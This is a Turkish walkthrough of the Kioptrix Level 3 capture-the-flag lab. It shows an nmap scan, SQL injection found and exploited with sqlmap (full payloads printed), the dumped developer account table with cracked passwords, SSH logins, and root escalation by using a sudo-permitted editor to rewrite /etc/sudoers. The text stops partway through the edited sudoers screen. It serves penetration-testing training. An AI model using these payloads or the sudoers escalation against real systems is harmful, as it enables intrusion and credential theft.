https:\/\/download.vulnhub.com\/kioptrix\/archive\/Kioptrix_Level_2-original.rar<\/a><\/p>\nWalkthrough<\/h2>\n
\u0130lk \u00f6nce hedef makinenin ip adresini tespit ederek ba\u015flayal\u0131m.<\/p>\n
\u250c\u2500\u2500(root💀kali)-[\/home\/kali]\n\u2514\u2500# ifconfig 130 \u2a2f\neth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500\n inet 192.168.0.21 netmask 255.255.255.0 broadcast 192.168.0.255\n inet6 fe80::20c:29ff:fe4a:4d3f prefixlen 64 scopeid 0x20<link>\n ether 00:0c:29:4a:4d:3f txqueuelen 1000 (Ethernet)\n RX packets 251 bytes 24219 (23.6 KiB)\n RX errors 0 dropped 0 overruns 0 frame 0\n TX packets 445 bytes 28850 (28.1 KiB)\n TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0\n\nlo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536\n inet 127.0.0.1 netmask 255.0.0.0\n inet6 ::1 prefixlen 128 scopeid 0x10<host>\n loop txqueuelen 1000 (Local Loopback)\n RX packets 8 bytes 400 (400.0 B)\n RX errors 0 dropped 0 overruns 0 frame 0\n TX packets 8 bytes 400 (400.0 B)\n TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0\n\n\u250c\u2500\u2500(root💀kali)-[\/home\/kali]\n\u2514\u2500# arp-scan -l | grep 00:0c:29:11:aa:cc\n192.168.0.19 00:0c:29:11:aa:cc VMware, Inc.\n<\/code><\/pre>\nDaha sonras\u0131nda makinenin sayfas\u0131nda bizden yapmam\u0131z\u0131 istedi\u011fi konfig\u00fcrasyonu kendi kali'mizde yapal\u0131m.<\/p>\n
\n\u250c\u2500\u2500(root💀kali)-[\/home\/kali]\n\u2514\u2500# cat \/etc\/hosts 1 \u2a2f\n127.0.0.1 localhost\n127.0.1.1 kali\n192.168.0.19 kioptrix3.com\n# The following lines are desirable for IPv6 capable hosts\n::1 localhost ip6-localhost ip6-loopback\nff02::1 ip6-allnodes\nff02::2 ip6-allrouters<\/code><\/pre>\n\u015eimdi bir nmap taramas\u0131 ger\u00e7ekle\u015ftirelim.<\/p>\n
\u250c\u2500\u2500(root💀kali)-[\/home\/kali]\n\u2514\u2500# nmap kioptrix3.com -p- -A -T4 130 \u2a2f\nStarting Nmap 7.91 ( https:\/\/nmap.org ) at 2021-05-21 19:48 EDT\nNmap scan report for kioptrix3.com (192.168.0.19)\nHost is up (0.00092s latency).\nNot shown: 65533 closed ports\nPORT STATE SERVICE VERSION\n22\/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)\n| ssh-hostkey: \n| 1024 30:e3:f6:dc:2e:22:5d:17:ac:46:02:39:ad:71:cb:49 (DSA)\n|_ 2048 9a:82:e6:96:e4:7e:d6:a6:d7:45:44:cb:19:aa:ec:dd (RSA)\n80\/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP\/5.2.4-2ubuntu5.6 with Suhosin-Patch)\n| http-cookie-flags: \n| \/: \n| PHPSESSID: \n|_ httponly flag not set\n|_http-server-header: Apache\/2.2.8 (Ubuntu) PHP\/5.2.4-2ubuntu5.6 with Suhosin-Patch\n|_http-title: Ligoat Security - Got Goat? Security ...\nMAC Address: 00:0C:29:11:AA:CC (VMware)\nDevice type: general purpose\nRunning: Linux 2.6.X\nOS CPE: cpe:\/o:linux:linux_kernel:2.6\nOS details: Linux 2.6.9 - 2.6.33\nNetwork Distance: 1 hop\nService Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel\n\nTRACEROUTE\nHOP RTT ADDRESS\n1 0.92 ms kioptrix3.com (192.168.0.19)\n\nOS and Service detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\nNmap done: 1 IP address (1 host up) scanned in 14.98 seconds\n<\/code><\/pre>\nH\u0131mm sadece 2 port a\u00e7\u0131km\u0131\u015f. Http ile ba\u015flayal\u0131m. Sayfa \u00fczerinde gezindikten sonra \/gallery\/gallery.php?id=1&sort=filename<\/strong> adresinde sql injection tespit ettim. Daha sonra olu\u015fan http iste\u011fini sqlmap'e verdim. Http iste\u011fi a\u015fa\u011f\u0131da verilmi\u015ftir.<\/p>\n\u250c\u2500\u2500(root💀kali)-[\/home\/kali\/oscp\/kioptrix3]\n\u2514\u2500# cat istek.txt \nGET \/gallery\/gallery.php?id=1&sort=filename HTTP\/1.1\nHost: kioptrix3.com\nUser-Agent: Mozilla\/5.0 (X11; Linux x86_64; rv:78.0) Gecko\/20100101 Firefox\/78.0\nAccept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,*\/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nConnection: close\nCookie: gallarific_vote_4=1; PHPSESSID=471923a3dbc4fb502abdf2c271bb5188\nUpgrade-Insecure-Requests: 1\n<\/code><\/pre>\n\u015eimdi sqlmap \u00e7\u0131kt\u0131lar\u0131na bakal\u0131m.<\/p>\n
\u250c\u2500\u2500(root💀kali)-[\/home\/kali\/oscp\/kioptrix3]\n\u2514\u2500# sqlmap -r istek.txt --level=5 --risk=3 --dbs --batch\n ___\n __H__\n ___ ___[,]_____ ___ ___ {1.5.2#stable}\n|_ -| . ['] | .'| . |\n|___|_ [(]_|_|_|__,| _|\n |_|V... |_| http:\/\/sqlmap.org\n\n[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program\n\n[*] starting @ 19:58:49 \/2021-05-21\/\n\n[19:58:49] [INFO] parsing HTTP request from 'istek.txt'\n[19:58:50] [INFO] testing connection to the target URL\n[19:58:50] [WARNING] the web server responded with an HTTP error code (500) which could interfere with the results of the tests\n[19:58:50] [INFO] checking if the target is protected by some kind of WAF\/IPS\n[19:58:51] [INFO] testing if the target URL content is stable\n[19:58:51] [INFO] target URL content is stable\n[19:58:51] [INFO] testing if GET parameter 'id' is dynamic\n[19:58:51] [INFO] GET parameter 'id' appears to be dynamic\n[19:58:51] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')\n[19:58:51] [INFO] heuristic (XSS) test shows that GET parameter 'id' might be vulnerable to cross-site scripting (XSS) attacks\n[19:58:51] [INFO] testing for SQL injection on GET parameter 'id'\nit looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y\/n] Y\n[19:58:51] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'\n[19:58:51] [WARNING] reflective value(s) found and filtering out\n[19:58:54] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause'\n[19:58:55] [INFO] GET parameter 'id' appears to be 'OR boolean-based blind - WHERE or HAVING clause' injectable (with --string="42")\n[19:58:55] [INFO] testing 'Generic inline queries'\n[19:58:55] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'\n[19:58:55] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'\n[19:58:55] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'\n[19:58:55] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'\n[19:58:55] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'\n[19:58:55] [INFO] testing 'MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)'\n[19:58:55] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'\n[19:58:55] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'\n[19:58:55] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'\n[19:58:55] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'\n[19:58:55] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'\n[19:58:55] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'\n[19:58:55] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'\n[19:58:56] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'\n[19:58:56] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'\n[19:58:56] [INFO] testing 'MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR)'\n[19:58:56] [INFO] GET parameter 'id' is 'MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR)' injectable \n[19:58:56] [INFO] testing 'MySQL inline queries'\n[19:58:56] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'\n[19:58:56] [INFO] testing 'MySQL >= 5.0.12 stacked queries'\n[19:58:56] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)'\n[19:58:56] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)'\n[19:58:56] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query - comment)'\n[19:58:56] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'\n[19:58:56] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'\n[19:59:06] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable \n[19:59:06] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'\n[19:59:06] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found\n[19:59:06] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test\n[19:59:06] [INFO] target URL appears to have 6 columns in query\n[19:59:06] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable\n[19:59:06] [WARNING] in OR boolean-based injection cases, please consider usage of switch '--drop-set-cookie' if you experience any problems during data retrieval\nGET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y\/N] N\nsqlmap identified the following injection point(s) with a total of 156 HTTP(s) requests:\n---\nParameter: id (GET)\n Type: boolean-based blind\n Title: OR boolean-based blind - WHERE or HAVING clause\n Payload: id=-5018 OR 5291=5291&sort=filename\n\n Type: error-based\n Title: MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR)\n Payload: id=1 OR ROW(9613,5823)>(SELECT COUNT(*),CONCAT(0x7170627871,(SELECT (ELT(9613=9613,1))),0x716a706271,FLOOR(RAND(0)*2))x FROM (SELECT 5651 UNION SELECT 8627 UNION SELECT 3048 UNION SELECT 7707)a GROUP BY x)&sort=filename\n\n Type: time-based blind\n Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)\n Payload: id=1 AND (SELECT 7132 FROM (SELECT(SLEEP(5)))qFRP)&sort=filename\n\n Type: UNION query\n Title: Generic UNION query (NULL) - 6 columns\n Payload: id=1 UNION ALL SELECT CONCAT(0x7170627871,0x46796e776255556a50684f4a4e63427a466362494a54567a784f674a4143746155566a4a51724845,0x716a706271),NULL,NULL,NULL,NULL,NULL-- -&sort=filename\n---\n[19:59:06] [INFO] the back-end DBMS is MySQL\nweb server operating system: Linux Ubuntu 8.04 (Hardy Heron)\nweb application technology: Apache 2.2.8, PHP 5.2.4\nback-end DBMS: MySQL >= 4.1\n[19:59:07] [INFO] fetching database names\n[19:59:07] [INFO] retrieved: 'information_schema'\n[19:59:07] [INFO] retrieved: 'gallery'\n[19:59:07] [INFO] retrieved: 'mysql'\navailable databases [3]: \n[*] gallery\n[*] information_schema\n[*] mysql\n\n[19:59:07] [WARNING] HTTP error codes detected during run:\n500 (Internal Server Error) - 26 times\n[19:59:07] [INFO] fetched data logged to text files under '\/root\/.local\/share\/sqlmap\/output\/kioptrix3.com'\n\n[*] ending @ 19:59:07 \/2021-05-21\/\n<\/code><\/pre>\nHarika ili\u015fkisel veri tabanlar\u0131n\u0131 severiz. \u015eimdi gallery db'sini dump etmeye ba\u015flayal\u0131m.<\/p>\n
\u250c\u2500\u2500(root💀kali)-[\/home\/kali\/oscp\/kioptrix3]\n\u2514\u2500# sqlmap -r istek.txt --level=5 --risk=3 --dbs --batch -D gallery --tables\n ___\n __H__\n ___ ___[)]_____ ___ ___ {1.5.2#stable}\n|_ -| . [)] | .'| . |\n|___|_ [,]_|_|_|__,| _|\n |_|V... |_| http:\/\/sqlmap.org\n\n[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program\n\n[*] starting @ 20:00:20 \/2021-05-21\/\n\n[20:00:20] [INFO] parsing HTTP request from 'istek.txt'\n[20:00:20] [INFO] resuming back-end DBMS 'mysql' \n[20:00:20] [INFO] testing connection to the target URL\n[20:00:21] [WARNING] the web server responded with an HTTP error code (500) which could interfere with the results of the tests\nsqlmap resumed the following injection point(s) from stored session:\n---\nParameter: id (GET)\n Type: boolean-based blind\n Title: OR boolean-based blind - WHERE or HAVING clause\n Payload: id=-5018 OR 5291=5291&sort=filename\n\n Type: error-based\n Title: MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR)\n Payload: id=1 OR ROW(9613,5823)>(SELECT COUNT(*),CONCAT(0x7170627871,(SELECT (ELT(9613=9613,1))),0x716a706271,FLOOR(RAND(0)*2))x FROM (SELECT 5651 UNION SELECT 8627 UNION SELECT 3048 UNION SELECT 7707)a GROUP BY x)&sort=filename\n\n Type: time-based blind\n Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)\n Payload: id=1 AND (SELECT 7132 FROM (SELECT(SLEEP(5)))qFRP)&sort=filename\n\n Type: UNION query\n Title: Generic UNION query (NULL) - 6 columns\n Payload: id=1 UNION ALL SELECT CONCAT(0x7170627871,0x46796e776255556a50684f4a4e63427a466362494a54567a784f674a4143746155566a4a51724845,0x716a706271),NULL,NULL,NULL,NULL,NULL-- -&sort=filename\n---\n[20:00:21] [INFO] the back-end DBMS is MySQL\nweb server operating system: Linux Ubuntu 8.04 (Hardy Heron)\nweb application technology: Apache 2.2.8, PHP 5.2.4\nback-end DBMS: MySQL >= 4.1\n[20:00:21] [INFO] fetching database names\n[20:00:21] [INFO] resumed: 'information_schema'\n[20:00:21] [INFO] resumed: 'gallery'\n[20:00:21] [INFO] resumed: 'mysql'\navailable databases [3]: \n[*] gallery\n[*] information_schema\n[*] mysql\n\n[20:00:21] [INFO] fetching tables for database: 'gallery'\n[20:00:21] [INFO] retrieved: 'dev_accounts'\n[20:00:21] [INFO] retrieved: 'gallarific_comments'\n[20:00:21] [INFO] retrieved: 'gallarific_galleries'\n[20:00:21] [INFO] retrieved: 'gallarific_photos'\n[20:00:21] [INFO] retrieved: 'gallarific_settings'\n[20:00:21] [INFO] retrieved: 'gallarific_stats'\n[20:00:21] [INFO] retrieved: 'gallarific_users'\nDatabase: gallery \n[7 tables]\n+----------------------+\n| dev_accounts |\n| gallarific_comments |\n| gallarific_galleries |\n| gallarific_photos |\n| gallarific_settings |\n| gallarific_stats |\n| gallarific_users |\n+----------------------+\n\n[20:00:21] [WARNING] HTTP error codes detected during run:\n500 (Internal Server Error) - 1 times\n[20:00:21] [INFO] fetched data logged to text files under '\/root\/.local\/share\/sqlmap\/output\/kioptrix3.com'\n\n[*] ending @ 20:00:21 \/2021-05-21\/<\/code><\/pre>\nTabiki de dev_accounts<\/strong> tablosunu okuyaca\u011f\u0131m.<\/p>\n\n\u250c\u2500\u2500(root💀kali)-[\/home\/kali\/oscp\/kioptrix3]\n\u2514\u2500# sqlmap -r istek.txt --level=5 --risk=3 --dbs --batch -D gallery -T dev_accounts --dump\n ___\n __H__\n ___ ___["]_____ ___ ___ {1.5.2#stable}\n|_ -| . [)] | .'| . |\n|___|_ [,]_|_|_|__,| _|\n |_|V... |_| http:\/\/sqlmap.org\n\n[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program\n\n[*] starting @ 20:01:30 \/2021-05-21\/\n\n[20:01:30] [INFO] parsing HTTP request from 'istek.txt'\n[20:01:30] [INFO] resuming back-end DBMS 'mysql' \n[20:01:30] [INFO] testing connection to the target URL\n[20:01:30] [WARNING] the web server responded with an HTTP error code (500) which could interfere with the results of the tests\nsqlmap resumed the following injection point(s) from stored session:\n---\nParameter: id (GET)\n Type: boolean-based blind\n Title: OR boolean-based blind - WHERE or HAVING clause\n Payload: id=-5018 OR 5291=5291&sort=filename\n\n Type: error-based\n Title: MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR)\n Payload: id=1 OR ROW(9613,5823)>(SELECT COUNT(*),CONCAT(0x7170627871,(SELECT (ELT(9613=9613,1))),0x716a706271,FLOOR(RAND(0)*2))x FROM (SELECT 5651 UNION SELECT 8627 UNION SELECT 3048 UNION SELECT 7707)a GROUP BY x)&sort=filename\n\n Type: time-based blind\n Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)\n Payload: id=1 AND (SELECT 7132 FROM (SELECT(SLEEP(5)))qFRP)&sort=filename\n\n Type: UNION query\n Title: Generic UNION query (NULL) - 6 columns\n Payload: id=1 UNION ALL SELECT CONCAT(0x7170627871,0x46796e776255556a50684f4a4e63427a466362494a54567a784f674a4143746155566a4a51724845,0x716a706271),NULL,NULL,NULL,NULL,NULL-- -&sort=filename\n---\n[20:01:30] [INFO] the back-end DBMS is MySQL\nweb server operating system: Linux Ubuntu 8.04 (Hardy Heron)\nweb application technology: PHP 5.2.4, Apache 2.2.8\nback-end DBMS: MySQL >= 4.1\n[20:01:30] [INFO] fetching database names\n[20:01:30] [INFO] resumed: 'information_schema'\n[20:01:30] [INFO] resumed: 'gallery'\n[20:01:30] [INFO] resumed: 'mysql'\navailable databases [3]: \n[*] gallery\n[*] information_schema\n[*] mysql\n\n[20:01:30] [INFO] fetching columns for table 'dev_accounts' in database 'gallery'\n[20:01:31] [INFO] retrieved: 'id' \n[20:01:31] [INFO] retrieved: 'int(10)'\n[20:01:31] [INFO] retrieved: 'username'\n[20:01:31] [INFO] retrieved: 'varchar(50)'\n[20:01:31] [INFO] retrieved: 'password'\n[20:01:31] [INFO] retrieved: 'varchar(50)'\n[20:01:31] [INFO] fetching entries for table 'dev_accounts' in database 'gallery'\n[20:01:31] [INFO] retrieved: '1','0d3eccfb887aabd50f243b3f155c0f85','dreg'\n[20:01:31] [WARNING] automatically patching output having last char trimmed\n[20:01:31] [INFO] retrieved: '2','5badcaf789d3d1d09794d8f021f40f0e','loneferret'\n[20:01:31] [INFO] recognized possible password hashes in column 'password' \ndo you want to store hashes to a temporary file for eventual further processing with other tools [y\/N] N\ndo you want to crack them via a dictionary-based attack? [Y\/n\/q] Y\n[20:01:31] [INFO] using hash method 'md5_generic_passwd'\nwhat dictionary do you want to use?\n[1] default dictionary file '\/usr\/share\/sqlmap\/data\/txt\/wordlist.tx_' (press Enter)\n[2] custom dictionary file\n[3] file with list of dictionary files\n> 1\n[20:01:31] [INFO] using default dictionary\ndo you want to use common password suffixes? (slow!) [y\/N] N\n[20:01:31] [INFO] starting dictionary-based cracking (md5_generic_passwd)\n[20:01:31] [INFO] starting 4 processes \n[20:01:36] [INFO] cracked password 'Mast3r' for user 'dreg' \n[20:01:37] [INFO] cracked password 'starwars' for user 'loneferret' \nDatabase: gallery \nTable: dev_accounts\n[2 entries]\n+----+---------------------------------------------+------------+\n| id | password | username |\n+----+---------------------------------------------+------------+\n| 1 | 0d3eccfb887aabd50f243b3f155c0f85 (Mast3r) | dreg |\n| 2 | 5badcaf789d3d1d09794d8f021f40f0e (starwars) | loneferret |\n+----+---------------------------------------------+------------+\n\n[20:01:42] [INFO] table 'gallery.dev_accounts' dumped to CSV file '\/root\/.local\/share\/sqlmap\/output\/kioptrix3.com\/dump\/gallery\/dev_accounts.csv'\n[20:01:42] [WARNING] HTTP error codes detected during run:\n500 (Internal Server Error) - 1 times\n[20:01:42] [INFO] fetched data logged to text files under '\/root\/.local\/share\/sqlmap\/output\/kioptrix3.com'\n\n[*] ending @ 20:01:42 \/2021-05-21\/\n<\/code><\/pre>\nssh servisinin de a\u00e7\u0131k oldu\u011funu g\u00f6rm\u00fc\u015ft\u00fck buradaki kullan\u0131c\u0131larla ssh servisine denemeler yapal\u0131m.<\/p>\n
\u250c\u2500\u2500(root💀kali)-[\/home\/kali\/oscp\/kioptrix3]\n\u2514\u2500# ssh dreg@192.168.0.19 \nThe authenticity of host '192.168.0.19 (192.168.0.19)' can't be established.\nRSA key fingerprint is SHA256:NdsBnvaQieyTUKFzPjRpTVK6jDGM\/xWwUi46IR\/h1jU.\nAre you sure you want to continue connecting (yes\/no\/[fingerprint])? yes\nWarning: Permanently added '192.168.0.19' (RSA) to the list of known hosts.\ndreg@192.168.0.19's password: \nLinux Kioptrix3 2.6.24-24-server #1 SMP Tue Jul 7 20:21:17 UTC 2009 i686\n\nThe programs included with the Ubuntu system are free software;\nthe exact distribution terms for each program are described in the\nindividual files in \/usr\/share\/doc\/*\/copyright.\n\nUbuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by\napplicable law.\n\nTo access official Ubuntu documentation, please visit:\nhttp:\/\/help.ubuntu.com\/\ndreg@Kioptrix3:~$ whoami\ndreg\ndreg@Kioptrix3:~$ \n<\/code><\/pre>\n\u250c\u2500\u2500(root💀kali)-[\/home\/kali\/oscp\/kioptrix3]\n\u2514\u2500# ssh loneferret@192.168.0.19\nloneferret@192.168.0.19's password: \nLinux Kioptrix3 2.6.24-24-server #1 SMP Tue Jul 7 20:21:17 UTC 2009 i686\n\nThe programs included with the Ubuntu system are free software;\nthe exact distribution terms for each program are described in the\nindividual files in \/usr\/share\/doc\/*\/copyright.\n\nUbuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by\napplicable law.\n\nTo access official Ubuntu documentation, please visit:\nhttp:\/\/help.ubuntu.com\/\nLast login: Sat Apr 16 08:51:58 2011 from 192.168.1.106\nloneferret@Kioptrix3:~$ whoami\nloneferret\nloneferret@Kioptrix3:~$ <\/code><\/pre>\n\u0130ki kullan\u0131c\u0131yla da ba\u015far\u0131l\u0131 bir \u015fekilde giri\u015f i\u015flemi yapt\u0131k. \u015eimdi yetki y\u00fckseltmeye ba\u015flayal\u0131m.<\/p>\n
Makine \u00fczerinde biraz ara\u015ft\u0131rma yapt\u0131ktan sonra loneferret<\/strong> kullan\u0131c\u0131s\u0131n\u0131n sudoers dosyas\u0131 i\u00e7erisinde oldu\u011funu g\u00f6rd\u00fcm. Bunu sudo -l<\/strong> komutu ile g\u00f6rebiliriz ve ht isimli bir programla istedi\u011fimiz dosyalar\u0131 editleyebilmekteyiz. Bende sudoers dosyas\u0131n\u0131 editlemeye karar verdim.<\/p>\nloneferret@Kioptrix3:~$ whoami\nloneferret\nloneferret@Kioptrix3:~$ sudo -l \nUser loneferret may run the following commands on this host:\n (root) NOPASSWD: !\/usr\/bin\/su\n (root) NOPASSWD: \/usr\/local\/bin\/ht\nloneferret@Kioptrix3:~$ \/usr\/local\/bin\/ht -h\nError opening terminal: xterm-256color.\nloneferret@Kioptrix3:~$ \nloneferret@Kioptrix3:~$ clear\n'xterm-256color': unknown terminal type.\nloneferret@Kioptrix3:~$ clear\n'xterm-256color': unknown terminal type.\nloneferret@Kioptrix3:~$ TERM="xterm"\nloneferret@Kioptrix3:~$ \/usr\/local\/bin\/ht -h\nloneferret@Kioptrix3:~$ \nloneferret@Kioptrix3:~$ \nloneferret@Kioptrix3:~$ \nloneferret@Kioptrix3:~$ \nloneferret@Kioptrix3:~$ which su\n\/bin\/su<\/code><\/pre>\nsudoers dosyas\u0131 i\u00e7erisinde loneferret kullan\u0131c\u0131s\u0131na \/bin\/su dosyas\u0131n\u0131 root haklarda a\u00e7abilece\u011fini s\u00f6yleyece\u011fim.<\/p>\n
loneferret@Kioptrix3:~$ sudo \/usr\/local\/bin\/ht \/etc\/sudoers <\/code><\/pre>\nA\u00e7\u0131lan ekrandaki i\u015flemlermi ALT tu\u015fu arac\u0131l\u0131\u011f\u0131 ile ger\u00e7ekle\u015ftirdim. \u0130lk sudoers ekran\u0131 a\u015fa\u011f\u0131da verilmi\u015ftir.<\/p>\n
File Edit Windows Help Texteditor 23:33 21.05.2021\n\u250c\u2500[x]\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 \/etc\/sudoers \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u25002\u2500\u2500\u2500\u2510\n\u2502# \/etc\/sudoers ^\n\u2502# \u2592\n\u2502# This file MUST be edited with the 'visudo' command as root. \u2592\n\u2502# \u2592\n\u2502# See the man page for details on how to write a sudoers file. \u2592\n\u2502# \u2592\n\u2502 \u2592\n\u2502Defaults env_reset \u2592\n\u2502 \u2592\n\u2502# Host alias specification \u2592\n\u2502 \u2592\n\u2502# User alias specification \u2592\n\u2502 \u2592\n\u2502# Cmnd alias specification \u2592\n\u2502 \u2592\n\u2502# User privilege specification\n\u2502root ALL=(ALL) ALL\n\u2502loneferret ALL=NOPASSWD: !\/usr\/bin\/su, \/usr\/local\/bin\/ht\n\u2502\n\u2502# Uncomment to allow members of group sudo to not need a password\n\u2502# (Note that later entries override this, so you might need to move v\n\u2514\u2500\u2500\u2500 8:1 \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n1help 2save 3open 4 5goto 6mode 7search 8 9 0quit \n<\/code><\/pre>\nDe\u011fi\u015fiklik sonras\u0131 sudoers dosyas\u0131:<\/p>\n
File Edit Windows Help Texteditor 23:34 21.05.2021\n\u250c\u2500[x]\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 \/etc\/sudoers \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u25002\u2500\u2500\u2500\u2510\n\u2502# \/etc\/sudoers ^\n\u2502# \u2592\n\u2502# This file MUST be edited with the 'visudo' command as root. \u2592\n\u2502# \u2592\n\u2502# See the man page for details on how to write a sudoers file. \u2592\n\u2502# \u2592\n\u2502 \u2592\n\u2502Defaults env_reset \u2592\n\u2502 \u2592\n\u2502# Host alias specification \u2592\n\u2502 \u2592\n\u2502# User alias specification \u2592\n\u2502 \u2592\n\u2502# Cmnd alias specification \u2592\n\u2502 \u2592\n\u2502# User privilege specification\n\u2502root ALL=(ALL) ALL\n\u2502loneferret ALL=NOPASSWD: \/bin\/su, \/usr\/local\/bin\/ht \n\u2502\n\u2502# Uncomment to allow members of group sudo to not need a password\n\u2502# (Note that later entries override this, so you might need to move v\n\u2514\u2500\u2500\u2500 *18:26 